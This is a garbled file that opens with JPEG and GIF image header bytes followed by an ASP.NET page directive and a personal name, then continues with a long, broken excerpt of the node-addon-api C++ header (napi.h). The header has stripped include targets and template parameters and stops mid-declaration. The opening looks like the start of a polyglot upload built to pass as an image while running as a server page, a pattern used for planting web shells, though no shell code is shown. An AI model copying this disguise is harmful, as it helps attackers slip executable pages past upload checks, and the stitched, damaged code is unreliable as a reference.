ÿØÿà JFIF ÿÛ C
$.' ",#(7),01444'9=82<.342ÿÛ C
2!!22222222222222222222222222222222222222222222222222ÿþGIF89a;
<%@ Page Language="C#" %>
Mahdee Rajon
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
#ifndef SRC_NAPI_H_
#define SRC_NAPI_H_
#ifndef NAPI_HAS_THREADS
#if !defined(__wasm__) || (defined(__EMSCRIPTEN_PTHREADS__) || \
(defined(__wasi__) && defined(_REENTRANT)))
#define NAPI_HAS_THREADS 1
#else
#define NAPI_HAS_THREADS 0
#endif
#endif
#include
#include
#include
#include
#if NAPI_HAS_THREADS
#include
#endif // NAPI_HAS_THREADS
#include
#include
// VS2015 RTM has bugs with constexpr, so require min of VS2015 Update 3 (known
// good version)
#if !defined(_MSC_VER) || _MSC_FULL_VER >= 190024210
#define NAPI_HAS_CONSTEXPR 1
#endif
// VS2013 does not support char16_t literal strings, so we'll work around it
// using wchar_t strings and casting them. This is safe as long as the character
// sizes are the same.
#if defined(_MSC_VER) && _MSC_VER <= 1800
static_assert(sizeof(char16_t) == sizeof(wchar_t),
"Size mismatch between char16_t and wchar_t");
#define NAPI_WIDE_TEXT(x) reinterpret_cast(L##x)
#else
#define NAPI_WIDE_TEXT(x) u##x
#endif
// If C++ exceptions are not explicitly enabled or disabled, enable them
// if exceptions were enabled in the compiler settings.
#if !defined(NAPI_CPP_EXCEPTIONS) && !defined(NAPI_DISABLE_CPP_EXCEPTIONS)
#if defined(_CPPUNWIND) || defined(__EXCEPTIONS)
#define NAPI_CPP_EXCEPTIONS
#else
#error Exception support not detected. \
Define either NAPI_CPP_EXCEPTIONS or NAPI_DISABLE_CPP_EXCEPTIONS.
#endif
#endif
// If C++ NAPI_CPP_EXCEPTIONS are enabled, NODE_ADDON_API_ENABLE_MAYBE should
// not be set
#if defined(NAPI_CPP_EXCEPTIONS) && defined(NODE_ADDON_API_ENABLE_MAYBE)
#error NODE_ADDON_API_ENABLE_MAYBE should not be set when \
NAPI_CPP_EXCEPTIONS is defined.
#endif
#ifdef _NOEXCEPT
#define NAPI_NOEXCEPT _NOEXCEPT
#else
#define NAPI_NOEXCEPT noexcept
#endif
#ifdef NAPI_CPP_EXCEPTIONS
// When C++ exceptions are enabled, Errors are thrown directly. There is no need
// to return anything after the throw statements. The variadic parameter is an
// optional return value that is ignored.
// We need _VOID versions of the macros to avoid warnings resulting from
// leaving the NAPI_THROW_* `...` argument empty.
#define NAPI_THROW(e, ...) throw e
#define NAPI_THROW_VOID(e) throw e
#define NAPI_THROW_IF_FAILED(env, status, ...) \
if ((status) != napi_ok) throw Napi::Error::New(env);
#define NAPI_THROW_IF_FAILED_VOID(env, status) \
if ((status) != napi_ok) throw Napi::Error::New(env);
#else // NAPI_CPP_EXCEPTIONS
// When C++ exceptions are disabled, Errors are thrown as JavaScript exceptions,
// which are pending until the callback returns to JS. The variadic parameter
// is an optional return value; usually it is an empty result.
// We need _VOID versions of the macros to avoid warnings resulting from
// leaving the NAPI_THROW_* `...` argument empty.
#define NAPI_THROW(e, ...) \
do { \
(e).ThrowAsJavaScriptException(); \
return __VA_ARGS__; \
} while (0)
#define NAPI_THROW_VOID(e) \
do { \
(e).ThrowAsJavaScriptException(); \
return; \
} while (0)
#define NAPI_THROW_IF_FAILED(env, status, ...) \
if ((status) != napi_ok) { \
Napi::Error::New(env).ThrowAsJavaScriptException(); \
return __VA_ARGS__; \
}
#define NAPI_THROW_IF_FAILED_VOID(env, status) \
if ((status) != napi_ok) { \
Napi::Error::New(env).ThrowAsJavaScriptException(); \
return; \
}
#endif // NAPI_CPP_EXCEPTIONS
#ifdef NODE_ADDON_API_ENABLE_MAYBE
#define NAPI_MAYBE_THROW_IF_FAILED(env, status, type) \
NAPI_THROW_IF_FAILED(env, status, Napi::Nothing())
#define NAPI_RETURN_OR_THROW_IF_FAILED(env, status, result, type) \
NAPI_MAYBE_THROW_IF_FAILED(env, status, type); \
return Napi::Just(result);
#else
#define NAPI_MAYBE_THROW_IF_FAILED(env, status, type) \
NAPI_THROW_IF_FAILED(env, status, type())
#define NAPI_RETURN_OR_THROW_IF_FAILED(env, status, result, type) \
NAPI_MAYBE_THROW_IF_FAILED(env, status, type); \
return result;
#endif
#define NAPI_DISALLOW_ASSIGN(CLASS) void operator=(const CLASS&) = delete;
#define NAPI_DISALLOW_COPY(CLASS) CLASS(const CLASS&) = delete;
#define NAPI_DISALLOW_ASSIGN_COPY(CLASS) \
NAPI_DISALLOW_ASSIGN(CLASS) \
NAPI_DISALLOW_COPY(CLASS)
#define NAPI_CHECK(condition, location, message) \
do { \
if (!(condition)) { \
Napi::Error::Fatal((location), (message)); \
} \
} while (0)
#define NAPI_FATAL_IF_FAILED(status, location, message) \
NAPI_CHECK((status) == napi_ok, location, message)
////////////////////////////////////////////////////////////////////////////////
/// Node-API C++ Wrapper Classes
///
/// These classes wrap the "Node-API" ABI-stable C APIs for Node.js, providing a
/// C++ object model and C++ exception-handling semantics with low overhead.
/// The wrappers are all header-only so that they do not affect the ABI.
////////////////////////////////////////////////////////////////////////////////
namespace Napi {
#ifdef NAPI_CPP_CUSTOM_NAMESPACE
// NAPI_CPP_CUSTOM_NAMESPACE can be #define'd per-addon to avoid symbol
// conflicts between different instances of node-addon-api
// First dummy definition of the namespace to make sure that Napi::(name) still
// refers to the right things inside this file.
namespace NAPI_CPP_CUSTOM_NAMESPACE {}
using namespace NAPI_CPP_CUSTOM_NAMESPACE;
namespace NAPI_CPP_CUSTOM_NAMESPACE {
#endif
// Forward declarations
class Env;
class Value;
class Boolean;
class Number;
#if NAPI_VERSION > 5
class BigInt;
#endif // NAPI_VERSION > 5
#if (NAPI_VERSION > 4)
class Date;
#endif
class String;
class Object;
class Array;
class ArrayBuffer;
class Function;
class Error;
class PropertyDescriptor;
class CallbackInfo;
class TypedArray;
template
class TypedArrayOf;
using Int8Array =
TypedArrayOf; ///< Typed-array of signed 8-bit integers
using Uint8Array =
TypedArrayOf; ///< Typed-array of unsigned 8-bit integers
using Int16Array =
TypedArrayOf; ///< Typed-array of signed 16-bit integers
using Uint16Array =
TypedArrayOf; ///< Typed-array of unsigned 16-bit integers
using Int32Array =
TypedArrayOf; ///< Typed-array of signed 32-bit integers
using Uint32Array =
TypedArrayOf; ///< Typed-array of unsigned 32-bit integers
using Float32Array =
TypedArrayOf; ///< Typed-array of 32-bit floating-point values
using Float64Array =
TypedArrayOf; ///< Typed-array of 64-bit floating-point values
#if NAPI_VERSION > 5
using BigInt64Array =
TypedArrayOf; ///< Typed array of signed 64-bit integers
using BigUint64Array =
TypedArrayOf; ///< Typed array of unsigned 64-bit integers
#endif // NAPI_VERSION > 5
/// Defines the signature of a Node-API C++ module's registration callback
/// (init) function.
using ModuleRegisterCallback = Object (*)(Env env, Object exports);
class MemoryManagement;
/// A simple Maybe type, representing an object which may or may not have a
/// value.
///
/// If an API method returns a Maybe<>, the API method can potentially fail
/// either because an exception is thrown, or because an exception is pending,
/// e.g. because a previous API call threw an exception that hasn't been
/// caught yet. In that case, a "Nothing" value is returned.
template
class Maybe {
public:
bool IsNothing() const;
bool IsJust() const;
/// Short-hand for Unwrap(), which doesn't return a value. Could be used
/// where the actual value of the Maybe is not needed like Object::Set.
/// If this Maybe is nothing (empty), node-addon-api will crash the
/// process.
void Check() const;
/// Return the value of type T contained in the Maybe. If this Maybe is
/// nothing (empty), node-addon-api will crash the process.
T Unwrap() const;
/// Return the value of type T contained in the Maybe, or using a default
/// value if this Maybe is nothing (empty).
T UnwrapOr(const T& default_value) const;
/// Converts this Maybe to a value of type T in the out. If this Maybe is
/// nothing (empty), `false` is returned and `out` is left untouched.
bool UnwrapTo(T* out) const;
bool operator==(const Maybe& other) const;
bool operator!=(const Maybe& other) const;
private:
Maybe();
explicit Maybe(const T& t);
bool _has_value;
T _value;
template
friend Maybe Nothing();
template
friend Maybe Just(const U& u);
};
template
inline Maybe Nothing();
template
inline Maybe Just(const T& t);
#if defined(NODE_ADDON_API_ENABLE_MAYBE)
template
using MaybeOrValue = Maybe;
#else
template
using MaybeOrValue = T;
#endif
/// Environment for Node-API values and operations.
///
/// All Node-API values and operations must be associated with an environment.
/// An environment instance is always provided to callback functions; that
/// environment must then be used for any creation of Node-API values or other
/// Node-API operations within the callback. (Many methods infer the
/// environment from the `this` instance that the method is called on.)
///
/// In the future, multiple environments per process may be supported,
/// although current implementations only support one environment per process.
///
/// In the V8 JavaScript engine, a Node-API environment approximately
/// corresponds to an Isolate.
class Env {
private:
napi_env _env;
#if NAPI_VERSION > 5
template
static void DefaultFini(Env, T* data);
template
static void DefaultFiniWithHint(Env, DataType* data, HintType* hint);
#endif // NAPI_VERSION > 5
public:
Env(napi_env env);
operator napi_env() const;
Object Global() const;
Value Undefined() const;
Value Null() const;
bool IsExceptionPending() const;
Error GetAndClearPendingException() const;
MaybeOrValue RunScript(const char* utf8script) const;
MaybeOrValue RunScript(const std::string& utf8script) const;
MaybeOrValue RunScript(String script) const;
#if NAPI_VERSION > 2
template
class CleanupHook;
template
CleanupHook AddCleanupHook(Hook hook);
template
CleanupHook AddCleanupHook(Hook hook, Arg* arg);
#endif // NAPI_VERSION > 2
#if NAPI_VERSION > 5
template
T* GetInstanceData() const;
template
using Finalizer = void (*)(Env, T*);
template fini = Env::DefaultFini>
void SetInstanceData(T* data) const;
template
using FinalizerWithHint = void (*)(Env, DataType*, HintType*);
template fini =
Env::DefaultFiniWithHint>
void SetInstanceData(DataType* data, HintType* hint) const;
#endif // NAPI_VERSION > 5
#if NAPI_VERSION > 2
template
class CleanupHook {
public:
CleanupHook();
CleanupHook(Env env, Hook hook, Arg* arg);
CleanupHook(Env env, Hook hook);
bool Remove(Env env);
bool IsEmpty() const;
private:
static inline void Wrapper(void* data) NAPI_NOEXCEPT;
static inline void WrapperWithArg(void* data) NAPI_NOEXCEPT;
void (*wrapper)(void* arg);
struct CleanupData {
Hook hook;
Arg* arg;
} * data;
};
#endif // NAPI_VERSION > 2
#if NAPI_VERSION > 8
const char* GetModuleFileName() const;
#endif // NAPI_VERSION > 8
};
/// A JavaScript value of unknown type.
///
/// For type-specific operations, convert to one of the Value subclasses using a
/// `To*` or `As()` method. The `To*` methods do type coercion; the `As()`
/// method does not.
///
/// Napi::Value value = ...
/// if (!value.IsString()) throw Napi::TypeError::New(env, "Invalid
/// arg..."); Napi::String str = value.As(); // Cast to a
/// string value
///
/// Napi::Value anotherValue = ...
/// bool isTruthy = anotherValue.ToBoolean(); // Coerce to a boolean value
class Value {
public:
Value(); ///< Creates a new _empty_ Value instance.
Value(napi_env env,
napi_value value); ///< Wraps a Node-API value primitive.
/// Creates a JS value from a C++ primitive.
///
/// `value` may be any of:
/// - bool
/// - Any integer type
/// - Any floating point type
/// - const char* (encoded using UTF-8, null-terminated)
/// - const char16_t* (encoded using UTF-16-LE, null-terminated)
/// - std::string (encoded using UTF-8)
/// - std::u16string
/// - napi::Value
/// - napi_value
template
static Value From(napi_env env, const T& value);
/// Converts to a Node-API value primitive.
///
/// If the instance is _empty_, this returns `nullptr`.
operator napi_value() const;
/// Tests if this value strictly equals another value.
bool operator==(const Value& other) const;
/// Tests if this value does not strictly equal another value.
bool operator!=(const Value& other) const;
/// Tests if this value strictly equals another value.
bool StrictEquals(const Value& other) const;
/// Gets the environment the value is associated with.
Napi::Env Env() const;
/// Checks if the value is empty (uninitialized).
///
/// An empty value is invalid, and most attempts to perform an operation on an
/// empty value will result in an exception. Note an empty value is distinct
/// from JavaScript `null` or `undefined`, which are valid values.
///
/// When C++ exceptions are disabled at compile time, a method with a `Value`
/// return type may return an empty value to indicate a pending exception. So
/// when not using C++ exceptions, callers should check whether the value is
/// empty before attempting to use it.
bool IsEmpty() const;
napi_valuetype Type() const; ///< Gets the type of the value.
bool IsUndefined()
const; ///< Tests if a value is an undefined JavaScript value.
bool IsNull() const; ///< Tests if a value is a null JavaScript value.
bool IsBoolean() const; ///< Tests if a value is a JavaScript boolean.
bool IsNumber() const; ///< Tests if a value is a JavaScript number.
#if NAPI_VERSION > 5
bool IsBigInt() const; ///< Tests if a value is a JavaScript bigint.
#endif // NAPI_VERSION > 5
#if (NAPI_VERSION > 4)
bool IsDate() const; ///< Tests if a value is a JavaScript date.
#endif
bool IsString() const; ///< Tests if a value is a JavaScript string.
bool IsSymbol() const; ///< Tests if a value is a JavaScript symbol.
bool IsArray() const; ///< Tests if a value is a JavaScript array.
bool IsArrayBuffer()
const; ///< Tests if a value is a JavaScript array buffer.
bool IsTypedArray() const; ///< Tests if a value is a JavaScript typed array.
bool IsObject() const; ///< Tests if a value is a JavaScript object.
bool IsFunction() const; ///< Tests if a value is a JavaScript function.
bool IsPromise() const; ///< Tests if a value is a JavaScript promise.
bool IsDataView() const; ///< Tests if a value is a JavaScript data view.
bool IsBuffer() const; ///< Tests if a value is a Node buffer.
bool IsExternal() const; ///< Tests if a value is a pointer to external data.
/// Casts to another type of `Napi::Value`, when the actual type is known or
/// assumed.
///
/// This conversion does NOT coerce the type. Calling any methods
/// inappropriate for the actual value type will throw `Napi::Error`.
///
/// If `NODE_ADDON_API_ENABLE_TYPE_CHECK_ON_AS` is defined, this method
/// asserts that the actual type is the expected type.
template
T As() const;
MaybeOrValue ToBoolean()
const; ///< Coerces a value to a JavaScript boolean.
MaybeOrValue ToNumber()
const; ///< Coerces a value to a JavaScript number.
MaybeOrValue ToString()
const; ///< Coerces a value to a JavaScript string.
MaybeOrValue